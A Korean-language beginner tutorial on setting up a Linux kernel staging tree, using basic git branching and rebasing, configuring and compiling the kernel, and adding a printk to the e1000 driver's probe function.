์–ธ์ œ๋“  +d ๋ฅผ ๋ˆ„๋ฅด๋Š”๊ฒƒ์œผ๋กœ ํ„ฐ๋ฏธ๋„ ํƒญ์ด๋‚˜ ํ„ฐ๋ฏธ๋„ ์ฐฝ์—์„œ ๋น ์ ธ๋‚˜์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ฐฉ๋ฒ•์€ ์•„๋ฌด๋Ÿฐ ํ”„๋กœ์„ธ์Šค๋„ ์ฃฝ์ด์ง€ ์•Š๊ธฐ๋•Œ๋ฌธ์— ํ„ฐ๋ฏธ๋„์„ ์ข…๋ฃŒํ•˜๋Š” ๋ฐ”๋žŒ์งํ•œ ๋ฐฉ๋ฒ•์ž…๋‹ˆ๋‹ค. ํ„ฐ๋ฏธ๋„์„ ์—ด์—ˆ๋‹ค ๋‹ซ์•˜๋‹ค ํ•˜๋ฉด์„œ ์ด ๋ฐฉ๋ฒ•์œผ๋กœ ํ„ฐ๋ฏธ๋„์—์„œ ๋น ์ ธ๋‚˜๊ฐ€๋Š” ๋ฐฉ๋ฒ•์— ์ต์ˆ™ํ•ด์ง€์„ธ์š”.

๋ฏธ๋ฆฌ ์„ค์ •ํ•ด๋‘” ๋””๋ ‰ํ† ๋ฆฌ๋กœ ์ด๋™ํ•˜์„ธ์š”.

bash
cd /get/kernels/staging

์ด๊ฒƒ์ด ๋ฆฌ๋ˆ…์Šค ์ปค๋„ ํŠธ๋ฆฌ์ž…๋‹ˆ๋‹ค. ls ๋ช…๋ น์–ด๋‚˜ cd ๋ช…๋ น์–ด๋กœ ํƒ์ƒ‰ํ•˜์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

ls๋ฅผ ํ•˜๊ฒŒ ๋˜๋ฉด ๋ช‡๊ฐ€์ง€ ๋‹ค๋ฅธ ํด๋”๋“ค์„ ๋ณด์‹œ๊ฒŒ ๋ ํ…๋ฐ์š”.

intern@ubuntu:~/git/kernels/staging$ lscopying ย documentation ย kconfig ย  ย  ย makefile ย arch ย  certs ย  drivers ย  fs ย  ย  ย  init ย kernel ย mm ย  samples ย security ย tools ย virtcredits ย kbuild ย  ย  ย  ย  maintainers ย readme ย  ย block ย crypto ย firmware ย include ย ipc ย  lib ย  ย  net ย scripts ย sound ย  ย  usr

์‚ฌ์‹ค์€ ๋ˆˆ์œผ๋กœ ๋ณด์ด๋Š”๊ฒƒ๋ณด๋‹ค ๋” ๋งŽ์€ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค! ls -a ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜์‹œ๊ฒŒ ๋˜๋ฉด, .git ์ด๋ผ ๋ถˆ๋ฆฌ๋Š” ์ˆจ๊ฒจ์ง„ ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ๋ณด์‹ค๊ฑฐ์—์š”. ์ด ๋””๋ ‰ํ† ๋ฆฌ๋Š” git์ด branch ์ถ”์ , ์›๊ฒฉ ์ €์žฅ์†Œ, ๋กœ์ปฌ ๋””๋ ‰ํ† ๋ฆฌ์— ์žˆ๋Š” ํŒŒ์ผ์„ ์ˆ˜์ •ํ•˜๊ณค ํ•  ๋•Œ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

์ปค๋ฐ‹ ๊ธฐ๋ก๋“ค์ด ๋ณด๊ณ ์‹ถ์œผ์‹œ๋‹ค๋ฉด,

bash
git log

๋ช…๋ น์–ด๋กœ ๋ณผ ์ˆ˜ ์žˆ๊ณ , ๋ณด๋‹ค ๊ฐ„๊ฒฐํ•œ ํ˜•์‹์„ ์›ํ•œ๋‹ค๋ฉด ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

bash
git log --pretty=oneline --abbrev-commit

git ๊ธฐ์ดˆ

Git์€ ๋ถ„์‚ฐ ๋ฒ„์ „ ๊ด€๋ฆฌ ์‹œ์Šคํ…œ์ž…๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ๋‚ด ์ฝ”๋“œ์˜ ๋ฒ„์ „์„ ๋‹ค๋ฅธ ๊ฐœ๋ฐœ์ž๋“ค๊ณผ ์ด์•ผ๊ธฐํ•˜๋ฉด์„œ ๊ท€์ฐฎ๊ฒŒ ๋งž์ถœ ํ•„์š” ์—†์ด ํ”„๋กœ๊ทธ๋ž˜๋ฐ ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ๊ฒƒ์ด์ฃ . ๋‚˜์˜ git checkout์„ ์ปค๋„ ์ €์žฅ์†Œ์˜ ๋ถ„๋ฆฌ๋œ ๋ณต์‚ฌ๋ณธ์ด๋ผ๊ณ  ์ƒ๊ฐํ•˜์„ธ์š”.

Git์€ branch ๊ธฐ๋Šฅ์„ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. ๊ฐ๊ฐ์˜ branch๋Š” ์™„์ „ํžˆ ๋‹ค๋ฅธ ํŒจ์น˜๋“ค์„ ๊ฐ€์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ปค๋„ ๊ฐœ๋ฐœ์ž๋“ค์€ ๋ณดํ†ต ํŒจ์น˜๋ชจ์Œ(patchset)๋ณ„๋กœ Branch๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด์„œ, ํ•˜๋‚˜์˜ ๋ฒ„๊ทธ ์ˆ˜์ •์„ ๋‹ด๊ณ ์žˆ๋Š” ํ•˜๋‚˜์˜ branch๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ๊ณ , ๋‚˜๋จธ์ง€ ํ•˜๋‚˜์˜ branch๋Š” ์ž‘์—…์ค‘์ธ ์ƒˆ๋กœ์šด ๊ธฐ๋Šฅ์ด ๋‹ด๊ธด ์ปค๋ฐ‹์„ ๋‹ด๊ณ ์žˆ๋Š” ์ปค๋ฐ‹์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

git branch ๋ช…๋ น์„ ํ†ตํ•ด์„œ ๋‚ด๊ฐ€ ํ˜„์žฌ ์–ด๋А branch์— ์žˆ๊ณ , ๋‹ค๋ฅธ branch๋“ค์ด ๋ญ๊ฐ€ ์žˆ๋Š”์ง€ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

bash
intern@ubuntu:~/git/kernels/staging$ git branch
 * staging-testing

์ด ๊ฒฝ์šฐ, staging-testing์ด๋ผ๋Š” ํ•˜๋‚˜์˜ branch ๋ฐ–์— ์—†์ฃ ? ๋ณ„ ํŠน์ˆ˜๋ฌธ์ž๋Š” ํ˜„์žฌ ๋‚ด๊ฐ€ ์ž‘์—…ํ•˜๊ณ  ์žˆ๋Š” branch๊ฐ€ staging-testing์ด๋ผ๋Š”๊ฒƒ์„ ๋งํ•ฉ๋‹ˆ๋‹ค. git ์‹์œผ๋กœ ๋งํ•˜์ž๋ฉด, ํ˜„์žฌ master branch๋ฅผ 'check out' ํ–ˆ๋‹ค๊ณ  ํ•ฉ๋‹ˆ๋‹ค.

'first-patch' ๋ผ๋Š” branch๋ฅผ ๋งŒ๋“ค๊ณ , ํ•ด๋‹น branch๋ฅผ ๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ํ†ตํ•ด checkout ํ•˜์„ธ์š”.

bash
git checkout -b first-patch

git branch๋ฅผ ์‹คํ–‰์‹œ์ผฐ๋‹ค๋ฉด, ํ˜„์žฌ "first-patch" branch์— ์žˆ๊ณ , ๋‘๊ฐ€์ง€์˜ branch๊ฐ€ ์žˆ๋‹ค๋Š”๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

bash
intern@ubuntu:~/git/kernels/staging$ git branch -a
* first-patch
  staging-testing
  remotes/origin/HEAD -> origin/master
  remotes/origin/master
  remotes/origin/staging-linus
  remotes/origin/staging-next
  remotes/origin/staging-testing
  remotes/origin/test

git checkout์„ ๋งŒ๋“ค๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜์—ˆ๋˜ ์ฒซ๋ฒˆ์งธ git ์›๊ฒฉ ์ €์žฅ์†Œ๋Š” "origin" ์ด๋ผ๊ณ  ๋ถˆ๋ฆฝ๋‹ˆ๋‹ค. ์ง€๊ธˆ ์‹œ์ ์—์„œ, "origin"์€ ๊ทธ์ € Greg Kroah-Hartman์˜ staging git ์ €์žฅ์†Œ๋ผ๋Š”์ ์„ ์•Œ์•„๋‘์„ธ์š”. ์ด์ œ staging remote๊ฐ€ master, staging-linus, staging-next, staging-testing, test ์ด๋ ‡๊ฒŒ ๋‹ค์„ฏ๊ฐœ์˜ branch๋ฅผ ๊ฐ–๊ณ ์žˆ๋Š”๊ฒƒ์„ ๋ณด์‹ค์ˆ˜ ์žˆ๋Š”๋ฐ์š”. staging-linus branch๋Š” ๋ฆด๋ฆฌ์ฆˆ๋  ํ›„๋ณด ์ปค๋„์˜ ๋ฒ„๊ทธ ์ˆ˜์ • ํŒจ์น˜๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ๊ณ , staging-next branch๋Š” ๋‹ค์Œ ์ปค๋„ ๋ฆด๋ฆฌ์ฆˆ๋ฅผ ์œ„ํ•œ ํŒจ์น˜๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ๋‚˜์˜ ํŒจ์น˜๋“ค์€ staging-testing์œผ๋กœ ๋“ค์–ด๊ฐˆ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ ๋‹น์‹ ์˜ ๋ชจ๋“  branch์˜ ๊ธฐ๋ฐ˜์„ staging-testing์œผ๋กœ ํ•˜์„ธ์š”. Greg๋Š” ์ฒซ ํŒจ์น˜๋ฅผ staging-testing์— ์ œ์ถœํ•ฉ๋‹ˆ๋‹ค. ๊ทธ ํŒจ์น˜๋“ค์€ ๊ทธ ํ›„์— staging-next๋กœ ์˜ฎ๊ฒจ์ง€์ฃ .

๋‚ด ์ปค๋„์„ ์—…๋ฐ์ดํŠธ ํ•˜๋Š” ๋ฐฉ๋ฒ•

์ฒซ ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜ clean-up ํŒจ์น˜๋ฅผ ๋งŒ๋“ค ๋•Œ, ํŒจ์น˜๋“ค์„ staging-testing ํŠธ๋ฆฌ์˜ ํƒ‘์— ๋งŒ๋“ค๊ณ  ์‹ถ์„๊ฒ๋‹ˆ๋‹ค. ๋งŒ์•ฝ์— ๋‚ด ํŒจ์น˜๊ฐ€ ์˜ค๋ž˜๋œ ๋ฒ„์ „์ด๊ณ  ์ตœ์‹ ๋ฒ„์ „์˜ ํŠธ๋ฆฌ์— ์ ์šฉ๋˜์ง€ ์•Š์•˜๋‹ค๋ฉด, ์•„๋งˆ ๊ฑฐ๋ถ€๋‹นํ• ๊ฒ๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋กœ ์ตœ๊ทผ ์ˆ˜์ •์‚ฌํ•ญ์„ ๋ฐ˜์˜ํ•  ํ•„์š”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

bash
git fetch origin

์œ„ ๋ช…๋ น์˜ ์„ธ๋ฒˆ์งธ ๋‹จ์–ด๋Š” ์–ด๋А ์›๊ฒฉ ์ €์žฅ์†Œ์—์„œ ๊ฐ€์ ธ์˜ฌ์ง€๋ฅผ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ์—์„œ๋Š” origin, ์ฆ‰ ์šฐ๋ฆฌ๊ฐ€ ์ดˆ๊ธฐ์— cloneํ•ด์˜จ ์›๊ฒฉ ์ €์žฅ์†Œ๋„ค์š”.(staging repository ๋ง์ž…๋‹ˆ๋‹ค.)

์ด ๋ช…๋ น์€ ์›๊ฒฉ ์ €์žฅ์†Œ๋กœ๋ถ€ํ„ฐ ์ˆ˜์ •์‚ฌํ•ญ์„ ๊ฐ€์ ธ์˜ฌ๊ฒƒ์ด์ง€๋งŒ ์‹ค์ œ ํŒŒ์ผ๋“ค์„ ์ˆ˜์ •ํ•˜์ง€๋Š” ์•Š์„๊ฒƒ์ž…๋‹ˆ๋‹ค.

bash
git log

๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•˜๋ฉด ํ˜„์žฌ ์ž‘์—…์ค‘์ธ ๋””๋ ‰ํ† ๋ฆฌ๊ฐ€ ์—ฌ์ „ํžˆ ๋ณธ๋ž˜์˜ ์ปค๋ฐ‹์„ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ๋‹ค๋Š”๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ ‡๋‹ค๋ฉด ํ˜„์žฌ ์ˆ˜์ •์‚ฌํ•ญ์˜ staging tree๋Š” ์–ด๋””์— ์žˆ์„๊นŒ์š”?

git์€ .git ์ด๋ผ๋Š” ํŠน๋ณ„ํ•œ ๋””๋ ‰ํ† ๋ฆฌ์— ๋ณ€๊ฒฝ์‚ฌํ•ญ๋“ค์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. git log ์— origin์˜ "staging-testing" branch๋ฅผ ์ฃผ๋Š”๊ฒƒ์œผ๋กœ staging ์ €์žฅ์†Œ์˜ ์—ญ์‚ฌ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

bash
git log origin/staging-testing

๋‹ค์Œ์œผ๋กœ, ์ด์ œ staging tree์— ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ํฌํ•จ์‹œํ‚ค๊ธฐ ์œ„ํ•ด branch๋ฅผ ์—…๋ฐ์ดํŠธ ํ•ด์•ผํ•ฉ๋‹ˆ๋‹ค. ์—…๋ฐ์ดํŠธ๋ฅผ ํ•˜๊ธฐ ์œ„ํ•œ ๊ฐ€์žฅ ์•ˆ์ „ํ•œ ๋ฐฉ๋ฒ•์€ ๋‚˜์˜ branch๋ฅผ "rebase" ํ•˜๋Š”๊ฒƒ์ธ๋ฐ์š”, ์ด ๋ง์€ ๋งŒ์•ฝ ๋‚ด ๋ธŒ๋žœ์น˜์— ์–ด๋–ค ์ปค๋ฐ‹์ด ์žˆ๋‹ค๊ณ  ํ•˜๋”๋ผ๋„ staging tree์˜ ์ตœ์‹  ๋‚ด์šฉ๋“ค๋กœ ๋ฎ์–ด์”Œ์›Œ์งˆ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ฐ€๋” ์ถฉ๋Œ์ด ๋‚˜๋ฉด ์ปค๋ฐ‹์„ ์ˆ˜์ •ํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ๋Š”๋ฐ์š”. ๊ทธ๋Ÿฐ ์ƒํ™ฉ์—์„œ๋Š” ๋ฉ˜ํ† ์—๊ฒŒ ๋„์›€์„ ์ฒญํ•˜์‹œ๋ฉด ๋ฉ๋‹ˆ๋‹ค. ์–ด์ฐŒ๋ฌ๋“  ์ง€๊ธˆ์€, ๋‹ค์Œ์˜ ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”.

bash
git rebase origin/staging-testing

git log ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด์„œ staging branch์˜ ์—ญ์‚ฌ๋ฅผ ๋ณธ ๋’ค์— git log origin/staging-testing ๋ช…๋ น์–ด๋ฅผ ์‹คํ–‰ํ•ด์„œ staging-testing ์˜ branch ์—ญ์‚ฌ๋ฅผ ๋ด๋ณด์„ธ์š”.

์ •ํ™•ํžˆ ๊ฐ™์€ ๊ฒฐ๊ณผ๊ฐ€ ๋‚˜์˜ค์ฃ ? :)

์ปค๋„ ์„ค์ •ํ•˜๊ธฐ

๊ทธ ๋‹ค์Œ ๋‹จ๊ณ„๋Š” ์ปค๋„ ์„ค์ •ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ , ์ƒˆ ์ปค๋„์„ ์ปดํŒŒ์ผ ํ•œ ๋’ค ์„ค์น˜ํ•˜๋Š” ๊ณผ์ •์— ๋Œ€ํ•ด ๋‹ค๋ฃน๋‹ˆ๋‹ค.

์ œ์ผ ๋จผ์ € ์•Œ์•„์•ผ ํ• ๊ฒƒ์€, ๋ฆฌ๋ˆ…์Šค ์ปค๋„์€ ์–ด๋– ํ•œ ๋ถ€๋ถ„์ด๋“  ์„ค์ •์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค. ๊ฐ๊ฐ์˜ ๋“œ๋ผ์ด๋ฒ„๋“ค์€ ๋…๋ฆฝ์ ์œผ๋กœ ์„ค์น˜๊ฐ€ ๋ ์ง€ ์•ˆ๋ ์ง€ ์„ค์ • ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋“œ๋ผ์ด๋ฒ„ ์„ค์น˜์—๋Š” ์„ธ๊ฐ€์ง€์˜ ์˜ต์…˜์ด ์žˆ๋Š”๋ฐ์š”.

  • ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์™„๋ฒฝํžˆ ๋น„ํ™œ์„ฑํ™” ํ•˜๊ฑฐ๋‚˜
  • ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋ฉ”์ธ ์ปค๋„ ํŒŒ์ผ ์•ˆ์— ๋นŒ๋“œ ํ•˜๊ฑฐ๋‚˜ (vmlinuz)
  • ๋ชจ๋“ˆ๋กœ ๋นŒ๋“œ ํ•˜๋Š”๊ฒƒ

์ด๋ ‡๊ฒŒ ์„ธ๊ฐ€์ง€๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋ฉ”์ธ ์ปค๋„ ์•ˆ์— ๋นŒ๋“œํ•˜๊ฒŒ ๋˜๋ฉด, ๋ถ€ํŒ…๋ ๋•Œ ๋กœ๋“œ ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ, ์ปค๋„์˜ ๋ฐ‘๋ถ€๋ถ„์€ ๋ถ€ํŒ…์‹œ์— ์‹œ์Šคํ…œ์—๊ฒŒ ์‘๋‹ตํ•˜์ง€ ์•Š์„์ˆ˜๋„ ์žˆ๋Š” ํ•˜๋“œ์›จ์–ด๋ฅผ ์œ„ํ•ด ๋” ๋งŽ์€ ์ฝ”๋“œ๋ฅผ ๋กœ๋“œํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด๊ฒƒ์„ ๋ง‰๊ธฐ ์œ„ํ•ด์„œ ์ปค๋„ ๊ฐœ๋ฐœ์ž๋“ค์€ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ฃผ๋กœ "๋ชจ๋“ˆ"๋กœ ๋นŒ๋“œํ•˜๊ณค ํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“ˆ์€ ์ปค๋„์ด ๋“œ๋ผ์ด๋ฒ„์— ๋งž๋Š” ํ•˜๋“œ์›จ์–ด๋ฅผ ๋ฐœ๊ฒฌํ–ˆ์„๋•Œ ๋กœ๋“œ๋˜๋Š”, ๋‹จ๋…์ ์œผ๋กœ ๋Œ์•„๊ฐ€๋Š” .ko ํ™•์žฅ์ž์˜ ๋“œ๋ผ์ด๋ฒ„ ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ๊นŒ ์ •๋ฆฌํ•˜์ž๋ฉด, WiFi ๋“œ๋ผ์ด๋ฒ„๋ฅผ ๋ชจ๋“ˆ๋กœ์„œ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๊ณ , ์ปค๋„์€ WiFi ์นด๋“œ๋ฅผ ๊ฐ์ง€ํ–ˆ์„๋•Œ ๊ทธ ๋ชจ๋“ˆ์„ ๋กœ๋“œ ํ•œ๋‹ค๋Š”๊ฑฐ์ฃ .

๋ฆฌ๋ˆ…์Šค ์ปค๋„์˜ make ์‹œ์Šคํ…œ์€ ์–ด๋–ค ๋“œ๋ผ์ด๋ฒ„๋“ค์ด ์ปค๋„์•ˆ์— ์ปดํŒŒ์ผ ๋˜์–ด์žˆ๋Š”์ง€, ๋ชจ๋“ˆ๋กœ ์ปดํŒŒ์ผ ๋˜์–ด์žˆ๋Š”์ง€๋ฅผ ์ €์žฅํ•˜๋Š” .config ๋ผ๋Š” ํŠน๋ณ„ํ•œ ํŒŒ์ผ์„ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋Œ€๋ถ€๋ถ„์˜ ๋ฆฌ๋ˆ…์Šค ๋ฐฐํฌํŒ๋“ค์€ ๋ฐฐํฌ๋œ ์ปค๋„์„ ์ปดํŒŒ์ผ ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•œ .config ํŒŒ์ผ์„ /boot/ ๋””๋ ‰ํ† ๋ฆฌ์— ์ €์žฅํ•˜๊ณ ์žˆ์Šต๋‹ˆ๋‹ค.

bash
intern@ubuntu:~/git/kernels/staging$ ls /boot/
System.map-4.8.0-2-amd64  System.map-4.9.0-rc8-amd64  config-4.9.0-1-amd64    grub                      initrd.img-4.9.0-1-amd64    lost+found             vmlinuz-4.9.0-1-amd64
System.map-4.9.0-1-amd64  config-4.8.0-2-amd64        config-4.9.0-rc8-amd64  initrd.img-4.8.0-2-amd64  initrd.img-4.9.0-rc8-amd64  vmlinuz-4.8.0-2-amd64  vmlinuz-4.9.0-rc8-amd64

config-* ํŒŒ์ผ์„ ๋‚˜์˜ git tree ์˜ .config ํŒŒ์ผ์— ๋ณต์‚ฌํ•จ์œผ๋กœ์จ ์šฐ๋ฆฌ๋Š” ๋ฐฐํฌํŒ์˜ ์„ค์ •์„ ๋ณต์ œ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๊ฒƒ์€ ๊ฐ€์ƒ๋จธ์‹ ์˜ ์ด๋ฏธ์ง€ ์•ˆ์—์„œ ํ•ญ์ƒ ์ด๋ฃจ์–ด์ ธ ์™”๋˜ ์ผ์ž…๋‹ˆ๋‹ค.

์ปค๋„ ์„ค์ •์— ๊ด€ํ•œ ๋” ๋งŽ์€ ๋‚ด์šฉ์€ ์ด๊ณณ์—์„œ ๋ณด์‹ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ปค๋„ ์ปดํŒŒ์ผ ํ•˜๊ธฐ

๋‹ค์Œ์œผ๋กœ, ์ƒˆ ์ปค๋„์„ ์ปดํŒŒ์ผ ํ•˜๊ธฐ์œ„ ํ•ด์„œ๋Š” make ๋ฅผ ์‹คํ–‰์‹œํ‚ฌ ํ•„์š”๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ์ถ”๊ฐ€์ ์œผ๋กœ, ์ปดํŒŒ์ผ์„ ์‹œ์ž‘ํ• ๋•Œ ์–ผ๋งˆ๋‚˜ ๋งŽ์€ ์“ฐ๋ ˆ๋“œ๋ฅผ ์‚ฌ์šฉํ• ์ง€ ์•Œ๋ ค์ฃผ๋Š” ์˜ต์…˜๋„ ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ณดํ†ต ๋‚ด ๊ธฐ๊ธฐ์˜ CPU ๊ฐœ์ˆ˜๋งŒํผ ์ˆซ์ž๋ฅผ ์žก๊ณค ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‹ˆ๊นŒ, ๋งŒ์•ฝ ๋“€์–ผ์ฝ”์–ด๋ผ๋ฉด

bash
make -j2

์ด๋ ‡๊ฒŒ ์ค„ ์ˆ˜ ์žˆ๋‹ค๋Š”๊ฑฐ์ฃ . ์•„๋งˆ ์ด ๊ณผ์ •์€ ์‹œ๊ฐ„์ด ๊ฝค ๊ฑธ๋ฆด๊ฒ๋‹ˆ๋‹ค. ๊ธฐ๋‹ค๋ฆฌ๋Š”๋™์•ˆ Linux Device Drivers Book์„ ์ฝ๋Š”๊ฒƒ์„ ์ถ”์ฒœ๋“œ๋ฆฝ๋‹ˆ๋‹ค.

๋“œ๋ผ์ด๋ฒ„์— ๋ณ€๊ฒฝ์‚ฌํ•ญ ๋งŒ๋“ค๊ธฐ

๋ฐ‘์˜ ๋ช‡๊ฐ€์ง€ ๊ณผ์ •๋“ค์€ ๋“œ๋ผ์ด๋ฒ„์— ๋ณ€๊ฒฝ์‚ฌํ•ญ์„ ๋งŒ๋“ค๊ณ , ๋‚ด๊ฐ€ ์ œ๋Œ€๋กœ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ปดํŒŒ์ผํ–ˆ๊ณ  ์ˆ˜์ •๋œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ž˜ ์„ค์น˜ํ–ˆ๋Š”์ง€ ํ…Œ์ŠคํŠธ ํ•˜๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด ๋‹ค๋ฃน๋‹ˆ๋‹ค.

๊ฐ€์ƒ๋จธ์‹ ์—์„œ ๋“œ๋ผ์ด๋ฒ„ ์ˆ˜์ •ํ•˜๊ธฐ

๋ฆฌ๋ˆ…์Šค๋ฅผ ๊ฐ€์ƒ๋จธ์‹  ์œ„์—์„œ ๋Œ๋ฆฌ๊ณ  ์žˆ๋‹ค๋ฉด, ์ด ์„ค๋ช…๋“ค์„ ๋”ฐ๋ผ์ฃผ์„ธ์š”. ๊ทธ๊ฒŒ ์•„๋‹ˆ๋ผ ๋ฆฌ๋ˆ…์Šค๋ฅผ ๋„ค์ดํ‹ฐ๋ธŒ๋กœ ๋Œ๋ฆฌ๊ณ  ์žˆ๋‹ค๋ฉด ๋‹ค์Œ ์„น์…˜์œผ๋กœ ๊ฐ€์ฃผ์‹œ๋ฉด ๋˜๊ฒ ์Šต๋‹ˆ๋‹ค.

๋ชจ๋“  VM ์ด๋ฏธ์ง€์•ˆ์— ๋“ค์–ด์žˆ๋Š” ํ•˜๋‚˜์˜ ๋“œ๋ผ์ด๋ฒ„๋Š” ์ธํ…” ์ด๋”๋„ท ๋“œ๋ผ์ด๋ฒ„์ธ e1000 ๋“œ๋ผ์ด๋ฒ„์ž…๋‹ˆ๋‹ค. ๋งŒ์•ฝ ๋ฆฌ๋ˆ…์Šค๋ฅผ ๋„ค์ดํ‹ฐ๋ธŒ๋กœ ๋Œ๋ฆฌ๊ณ ์žˆ๋‹ค๋ฉด, ๋‹ค๋ฅธ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ฐพ์•„์•ผ ํ• ๊ฒ๋‹ˆ๋‹ค. ๋‹ค์Œ ๋“œ๋ผ์ด๋ฒ„ ์„น์…˜์—์„œ ์ ์ ˆํ•œ ๋“œ๋ผ์ด๋ฒ„๋ฅผ ์ฐพ๋Š” ๋ฐฉ๋ฒ•์— ๋Œ€ํ•ด ์ฐพ์•„๋ณด์„ธ์š”.

e1000๋“œ๋ผ์ด๋ฒ„๋Š” ์ปค๋„์˜ ๋„คํŠธ์›Œํฌ ๋ถ€๋ถ„์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

bash
intern@ubuntu:~/git/kernels/staging$ ls drivers/net/ethernet/intel/e1000/
e1000_ethtool.c  e1000.h  e1000_hw.c  e1000_hw.h  e1000_main.c  e1000_osdep.h  e1000_param.c  Makefile

์ด์ œ e1000๋“œ๋ผ์ด๋ฒ„์˜ probe ํ•จ์ˆ˜์— ์ž‘์€ ์ˆ˜์ •์‚ฌํ•ญ์„ ๋งŒ๋“ค์–ด๋ด…์‹œ๋‹ค. ์•„, probe ํ•จ์ˆ˜๋Š” ๋“œ๋ผ์ด๋ฒ„๊ฐ€ ํ˜ธ์ถœ๋ ๋•Œ ๋กœ๋“œ๋˜๋Š” ํ•จ์ˆ˜์ž…๋‹ˆ๋‹ค. e1000_main.c๋ฅผ ์ˆ˜์ •ํ•ด๋ด…์‹œ๋‹ค.

bash
vim drivers/net/ethernet/intel/e1000/e1000_main.c

๊ทธ ๋‹ค์Œ์œผ๋กœ probe ํ•จ์ˆ˜๋ฅผ ์ฐพ์Šต๋‹ˆ๋‹ค. standard ๋ชจ๋“œ์—์„œ '/' ํ‚ค๋ฅผ ๋ˆ„๋ฅด๋Š”๊ฒƒ์œผ๋กœ ๊ฒ€์ƒ‰๊ธฐ๋Šฅ์„ ์ด์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. probe ํ•จ์ˆ˜๋ฅผ ์ฐพ์•˜๋‹ค๋ฉด, ์ด๋ ‡๊ฒŒ printk ํ•จ์ˆ˜๋ฅผ ์ถ”๊ฐ€ํ•ด๋ด…์‹œ๋‹ค.

c
static int e1000_probe(struct pci_dev *pdev, const struct pci_device_id *ent) {
         struct net_device *netdev;
         struct e1000_adapter *adapter;
         struct e1000_hw *hw;

         printk(KERN_DEBUG "I can modify the Linux kernel!\n");
         static int cards_found = 0;

๊ทธ ๋‹ค์Œ์— :wq<์—”ํ„ฐ> ๋ฅผ ๋ˆŒ๋Ÿฌ ํŒŒ์ผ์„ ์ €์žฅํ•˜๊ณ  ๋‚˜์˜ค์„ธ์š”. :x<์—”ํ„ฐ> ๋„ ๊ฐ™์€ ๊ธฐ๋Šฅ์„ ํ•ฉ๋‹ˆ๋‹ค.

